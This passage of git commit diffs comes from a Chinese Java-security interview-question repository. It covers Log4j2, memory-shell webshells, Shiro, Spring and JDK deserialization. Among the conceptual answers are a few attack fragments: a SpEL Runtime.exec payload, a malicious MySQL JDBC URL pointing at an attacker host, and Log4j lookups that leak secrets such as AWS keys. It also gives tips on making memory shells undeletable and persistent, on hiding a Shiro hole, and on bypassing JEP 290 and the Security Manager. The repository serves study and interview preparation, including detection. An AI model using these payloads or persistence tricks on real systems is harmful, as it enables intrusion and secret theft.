利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` @@ -72,7 +72,7 @@ -- 不停止运行程序如何修复Log4j2漏洞(★★★) +### 不停止运行程序如何修复Log4j2漏洞(★★★) 利用JavaAgent改JVM中的字节码,可以直接删了`JndiLookup`的功能 diff --git a/memshell/README.md b/memshell/README.md index b3819e1..75df86c 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -1,6 +1,6 @@ ## 内存马 -- Tomcat和Spring内存马分别有哪些(★) +### Tomcat和Spring内存马分别有哪些(★) Tomcat内存马有:Filter型,Servlet型,Listener型 @@ -10,7 +10,7 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` -- Servlet/Filter内存马查杀手段是怎样的(★★★) +### Servlet/Filter内存马查杀手段是怎样的(★★★) 直接能想到的办法是利用Java Agent遍历所有JVM中的class,判断是否是内存马 @@ -20,7 +20,7 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` -- Filter内存马查杀时候有什么明显特征吗(★★★) +### Filter内存马查杀时候有什么明显特征吗(★★★) 首先是类名可能是恶意的,或者包名和项目名不符,可以一眼看出 @@ -30,7 +30,7 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` -- 如何实现无法删除的Servlet/Filter内存马(★★★★) +### 如何实现无法删除的Servlet/Filter内存马(★★★★) 有一种思路是在`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法 @@ -38,7 +38,7 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` -- 内存马如何持久化(★★★) +### 内存马如何持久化(★★★) 内存马持久化这个问题必须要往本地写文件 @@ -48,18 +48,18 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` -- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法(★★★) +### 内存马持久化写字节码方式除了`@Filter`标签还有什么办法(★★★) 使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件,取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法,我们可以注册一个`webshell`的`filter` -- Java Agent内存马的查杀(★★★) +### Java Agent内存马的查杀(★★★) 网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中可能有问题的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 -- 如果有一个陌生的框架你如何挖内存马(★★★) +### 如果有一个陌生的框架你如何挖内存马(★★★) 核心是找到类似`Tomcat`和`Spring`中的`Context`对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。 diff --git a/shiro/README.md b/shiro/README.md index 76754ab..93bad33 100644 --- a/shiro/README.md +++ b/shiro/README.md @@ -1,12 +1,12 @@ ## Shiro -- 怎样检测目标框架使用了Shiro(★) +### 怎样检测目标框架使用了Shiro(★) 直接看请求响应中是否有`rememberMe=deleteMe`这样的`Cookie` -- Shiro反序列化怎么检测key(★★★) +### Shiro反序列化怎么检测key(★★★) 实例化一个`SimplePrincipalCollection`并序列化,遍历key列表对该序列化数据进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送 @@ -14,19 +14,19 @@ -- Shiro 721怎么利用(★★) +### Shiro 721怎么利用(★★) 需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间 -- 最新版Shiro还存在反序列化漏洞吗(★) +### 最新版Shiro还存在反序列化漏洞吗(★) 存在,如果密钥是常见的,还是有反序列化漏洞的可能性 -- Shiro反序列化Gadget选择有什么坑吗(★★★) +### Shiro反序列化Gadget选择有什么坑吗(★★★) 默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID`不一致 @@ -38,7 +38,7 @@ BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORD -- Shiro注Tomcat内存马有什么坑吗(★★★★) +### Shiro注Tomcat内存马有什么坑吗(★★★★) Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 @@ -48,12 +48,12 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大 -- 有什么办法让Shiro洞不被别人挖到(★★) +### 有什么办法让Shiro洞不被别人挖到(★★) 发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 -- Shiro的权限绕过问题了解吗(★★) +### Shiro的权限绕过问题了解吗(★★) 主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page`为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}`,原理同上 diff --git a/spring/README.md b/spring/README.md index c0bc5c9..1a340a3 100644 --- a/spring/README.md +++ b/spring/README.md @@ -1,18 +1,18 @@ ## Spring -- 谈谈Spring Whitelabel SPEL RCE(★★★) +### 谈谈Spring Whitelabel SPEL RCE(★★★) Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析实现,造成`RCE`漏洞 -- 谈谈Spring Data REST SPEL RCE(★★) +### 谈谈Spring Data REST SPEL RCE(★★) 当使用`JSON PATCH`对数据修改时,传入的`PATH`参数会解析`SPEL` -- 谈谈Spring Web Flow SPEL RCE(★★) +### 谈谈Spring Web Flow SPEL RCE(★★) 在`Model`的数据绑定上存在漏洞,但漏洞出发条件比较苛刻 @@ -20,7 +20,7 @@ Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析 -- 谈谈Spring Messaging SPEL RCE(★★) +### 谈谈Spring Messaging SPEL RCE(★★) 其中的`STOMP`模块发送订阅命令时,支持选择器标头,该选择器充当基于内容路由的筛选器 @@ -28,7 +28,7 @@ Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析 -- 谈谈Spring Data Commons SPEL RCE(★★) +### 谈谈Spring Data Commons SPEL RCE(★★) 请求参数中如何包含`SPEL`会被解析,参考下方Payload @@ -38,7 +38,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringCloud SnameYAML RCE(★★★) +### 谈谈SpringCloud SnameYAML RCE(★★★) 该漏洞的利用条件是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 @@ -48,7 +48,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringCloud Eureka RCE(★★★) +### 谈谈SpringCloud Eureka RCE(★★★) 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 @@ -58,7 +58,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Jolokia Logback JNDI RCE(★★★) +### 谈谈SpringBoot Jolokia Logback JNDI RCE(★★★) 如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 @@ -68,7 +68,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Jolokia Realm JNDI RCE(★★★) +### 谈谈SpringBoot Jolokia Realm JNDI RCE(★★★) 如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 @@ -76,7 +76,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Restart H2 Database Query RCE(★★★) +### 谈谈SpringBoot Restart H2 Database Query RCE(★★★) 漏洞利用条件是可以访问`/env`设置属性,可以访问`/restart`重启应用 @@ -86,7 +86,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot H2 Database Console JNDI RCE(★★★) +### 谈谈SpringBoot H2 Database Console JNDI RCE(★★★) 目标可出网且存在`spring.h2.console.enabled=true`属性时可以利用 @@ -94,7 +94,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Mysql JDBC RCE(★★★) +### 谈谈SpringBoot Mysql JDBC RCE(★★★) 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置,不同的是需要存在`mysql-connector-java`依赖 @@ -104,7 +104,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Restart logging.config Logback JNDI RCE(★★★) +### 谈谈SpringBoot Restart logging.config Logback JNDI RCE(★★★) 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 @@ -114,7 +114,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Restart logging.config Groovy RCE(★★★) +### 谈谈SpringBoot Restart logging.config Groovy RCE(★★★) 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 @@ -125,7 +125,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Restart spring.main.sources Groovy RCE(★★★) +### 谈谈SpringBoot Restart spring.main.sources Groovy RCE(★★★) 类似SpringBoot Restart logging.config Groovy RCE @@ -133,7 +133,7 @@ username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.e -- 谈谈SpringBoot Restart spring.datasource.data H2 Database RCE(★★★) +### 谈谈SpringBoot Restart spring.datasource.data H2 Database RCE(★★★) 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 From 466e177be0009272d47d2f486e0b991187f4b09e Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Thu, 17 Feb 2022 00:49:48 +0800 Subject: [PATCH 24/29] agent --- README.md | 4 ++-- memshell/README.md | 18 ++++++++++++++++-- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 4b55b86..1cff318 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ ## 分类 -当前问题总数:78 +当前问题总数:79 [Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) @@ -32,7 +32,7 @@ [Spring框架相关的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) -[内存马专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[内存马专题 - 9个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) [反序列化CC链专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/cc) diff --git a/memshell/README.md b/memshell/README.md index 75df86c..de6dc78 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -14,9 +14,11 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` 直接能想到的办法是利用Java Agent遍历所有JVM中的class,判断是否是内存马 -例如使用阿里的arthas分析,查看是否存在恶意的类名,然后删除 +例如使用阿里的arthas分析,根据继承实现类黑名单,注解包名类名等黑名单来做 -或者使用c0ny1师傅的java-memshell-scanner项目,从Tomcat API角度删除 +例如`LandGrey`师傅的`copagent`项目,根据黑名单和风险注解作为依据, + +或者使用c0ny1师傅的`java-memshell-scanner`项目,从Tomcat API角度删除 @@ -59,6 +61,18 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` +### Java Agent内存马的查杀的难点是什么(★★★★) + +JVMTI有 + +一般Agent内存马会调用`Java Agent`提供的`redefineClass`方法加入内存马 + +如果想检测,拿到的字节码并不是修改过的字节码,而是原始字节码,因此无法判断某个类是否合法 + +准确描述:无法获取到被`redefineClass`修改后的字节码,只能获取到被`retransformClass`修改后的字节码 + + + ### 如果有一个陌生的框架你如何挖内存马(★★★) 核心是找到类似`Tomcat`和`Spring`中的`Context`对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。 From 6dd353c1a9903f49069cebc73a5304c02d409ebf Mon Sep 17 00:00:00 2001 From: 4ra1n <34726933+4ra1n@users.noreply.github.com> Date: Thu, 17 Feb 2022 19:47:53 +0800 Subject: [PATCH 25/29] Update README.md --- README.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 1cff318..d34876e 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ 最低难度★ 最高难度★★★★★ -个人认为安服崽需要掌握★-★★难度的问题,想进大厂或实验室至少需要全部掌握 +个人认为安服崽需要掌握★-★★难度的问题,红队和安全研究员需要全部掌握 ## 分类 @@ -54,6 +54,12 @@ https://gv7.me/ https://github.com/safe6Sec/Fastjson +## 其他 + +1. 师傅们如果需要提交面试题,请参考已有的格式 + +2. 其中的`auto.py`文件是根据类型自动统计数量并生成新的`README.md`页面 + ## Star ![](https://starchart.cc/4ra1n/JavaSecInterview.svg) From ac267c85b73fc8ae3ce106e2219a256632252752 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Thu, 17 Feb 2022 20:38:51 +0800 Subject: [PATCH 26/29] agent --- README.md | 4 ++-- memshell/README.md | 14 ++++++++++++-- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index d34876e..5a3f82a 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ ## 分类 -当前问题总数:79 +当前问题总数:80 [Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) @@ -32,7 +32,7 @@ [Spring框架相关的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) -[内存马专题 - 9个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[内存马专题 - 10个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) [反序列化CC链专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/cc) diff --git a/memshell/README.md b/memshell/README.md index de6dc78..5896286 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -51,6 +51,7 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` ### 内存马持久化写字节码方式除了`@Filter`标签还有什么办法(★★★) + 使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件,取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法,我们可以注册一个`webshell`的`filter` @@ -63,8 +64,6 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` ### Java Agent内存马的查杀的难点是什么(★★★★) -JVMTI有 - 一般Agent内存马会调用`Java Agent`提供的`redefineClass`方法加入内存马 如果想检测,拿到的字节码并不是修改过的字节码,而是原始字节码,因此无法判断某个类是否合法 @@ -72,6 +71,17 @@ JVMTI有 准确描述:无法获取到被`redefineClass`修改后的字节码,只能获取到被`retransformClass`修改后的字节码 +### Java Agent内存马通常Hook的点有哪些(★★★★★) + +根据JavaEE规范,最先想到的点应该是`javax/servlet/http/HttpServlet#service` + +其次是位于`Filter`链头部的`org/apache/catalina/core/ApplicationFilterChain#doFilter` + +针对特殊框架可以做特殊处理,例如针对`Spring`的`org/springframework/web/servlet/DispatcherServlet#doService` + +还有4ra1n师傅提出关于`Tomcat`自带`Filter`的修改:`org/apache/tomcat/websocket/server/WsFilter#doFilter` + + ### 如果有一个陌生的框架你如何挖内存马(★★★) From d88326da29a2542952a93edee65c14a17c8b3f2a Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Fri, 18 Feb 2022 10:13:24 +0800 Subject: [PATCH 27/29] agent --- README.md | 4 ++-- memshell/README.md | 8 ++++++++ 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 5a3f82a..b25d7e9 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ ## 分类 -当前问题总数:80 +当前问题总数:81 [Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) @@ -32,7 +32,7 @@ [Spring框架相关的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) -[内存马专题 - 10个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[内存马专题 - 11个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) [反序列化CC链专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/cc) diff --git a/memshell/README.md b/memshell/README.md index 5896286..2d92dd4 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -83,6 +83,14 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` +### 查到Java Agent内存马那么应该如何杀(★★) + +这个比较简单,用`Agent`把查到的类对应的方法改成原始的字节码即可 + +获取原始字节码也不难,从本地或标准库中查找,然后利用`Javassist`修改 + + + ### 如果有一个陌生的框架你如何挖内存马(★★★) 核心是找到类似`Tomcat`和`Spring`中的`Context`对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。 From 10c61f8225877e854bb6013663aed9046a6c33c1 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Sun, 20 Feb 2022 11:56:34 +0800 Subject: [PATCH 28/29] jep --- README.md | 8 ++++++-- java/README.md | 18 +++++++++++++++++- 2 files changed, 23 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index b25d7e9..ce6fe29 100644 --- a/README.md +++ b/README.md @@ -20,9 +20,9 @@ ## 分类 -当前问题总数:81 +当前问题总数:83 -[Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) +[Java本身的安全问题 - 18个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) @@ -54,6 +54,10 @@ https://gv7.me/ https://github.com/safe6Sec/Fastjson +https://y4er.com/ + +https://paper.seebug.org/1689/ + ## 其他 1. 师傅们如果需要提交面试题,请参考已有的格式 diff --git a/java/README.md b/java/README.md index 1faf94d..92806ab 100644 --- a/java/README.md +++ b/java/README.md @@ -238,4 +238,20 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式 jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true ``` -以上是基本攻击手段,还有一些进阶的内容,例如`allowUrlInLocalInfile`和`detectCustomCollations`参数 \ No newline at end of file +以上是基本攻击手段,还有一些进阶的内容,例如`allowUrlInLocalInfile`和`detectCustomCollations`参数 + + + +### 你知道JDK针对反序列化漏洞做了什么修复嘛(★★★) + +在`JEP 290`中提供一个限制反序列化的类的机制,黑白名单方式,同时限制反序列化深度和复杂度,为 RMI 导出的对象设置了验证机制。具体实现是提供一个全局过滤器,可以从属性或者配置文件中配置。在`ObjectInputStream`类中增加了一个`serialFilter`属性和一个`filterChcek`函数,其中`serialFilter`就可以理解为过滤器 + + + +### JEP 290有没有绕过的办法(★★★★★) + +根据`JEP 290`限制的原理,白名单对象包括了:String,Remote,Proxy,UnicaseRef,RMIClientSocketFactory等 + +如果目标的`RMI`服务暴漏了`Object`参数类型的方法,且该类在白名单中,我们就可以注入Payload进去以绕过检测 + +另外还一些骚思路,比如想办法改源码,或用`Java Agent`对某些方法`Hook`并更改等 \ No newline at end of file From b7f14ff31c89b9d0ae0850ecc2053bd1021e35ab Mon Sep 17 00:00:00 2001 From: 4ra1n <2023503307@qq.com> Date: Tue, 22 Feb 2022 17:03:15 +0800 Subject: [PATCH 29/29] sm --- README.md | 2 ++ java/README.md | 10 +++++++++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ce6fe29..4699268 100644 --- a/README.md +++ b/README.md @@ -54,6 +54,8 @@ https://gv7.me/ https://github.com/safe6Sec/Fastjson +https://github.com/Firebasky/Java + https://y4er.com/ https://paper.seebug.org/1689/ diff --git a/java/README.md b/java/README.md index 92806ab..e1b77e8 100644 --- a/java/README.md +++ b/java/README.md @@ -254,4 +254,12 @@ jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.Server 如果目标的`RMI`服务暴漏了`Object`参数类型的方法,且该类在白名单中,我们就可以注入Payload进去以绕过检测 -另外还一些骚思路,比如想办法改源码,或用`Java Agent`对某些方法`Hook`并更改等 \ No newline at end of file +另外还一些骚思路,比如想办法改源码,或用`Java Agent`对某些方法`Hook`并更改等 + + + +### 谈谈`Security Manager`的绕过(★★★★) + +通过设置参数`java.security.policy`指定`policy`以提权;反射调用`setSecurityManager`修改`Security Manager`以绕过;自定义`ClassLoader`并设置`ProtectionDomain`里面的权限初始化为所有权限以绕过;由于`native`方法不受`Java Security Manager`管控,所以可以调用这些方法绕过 + +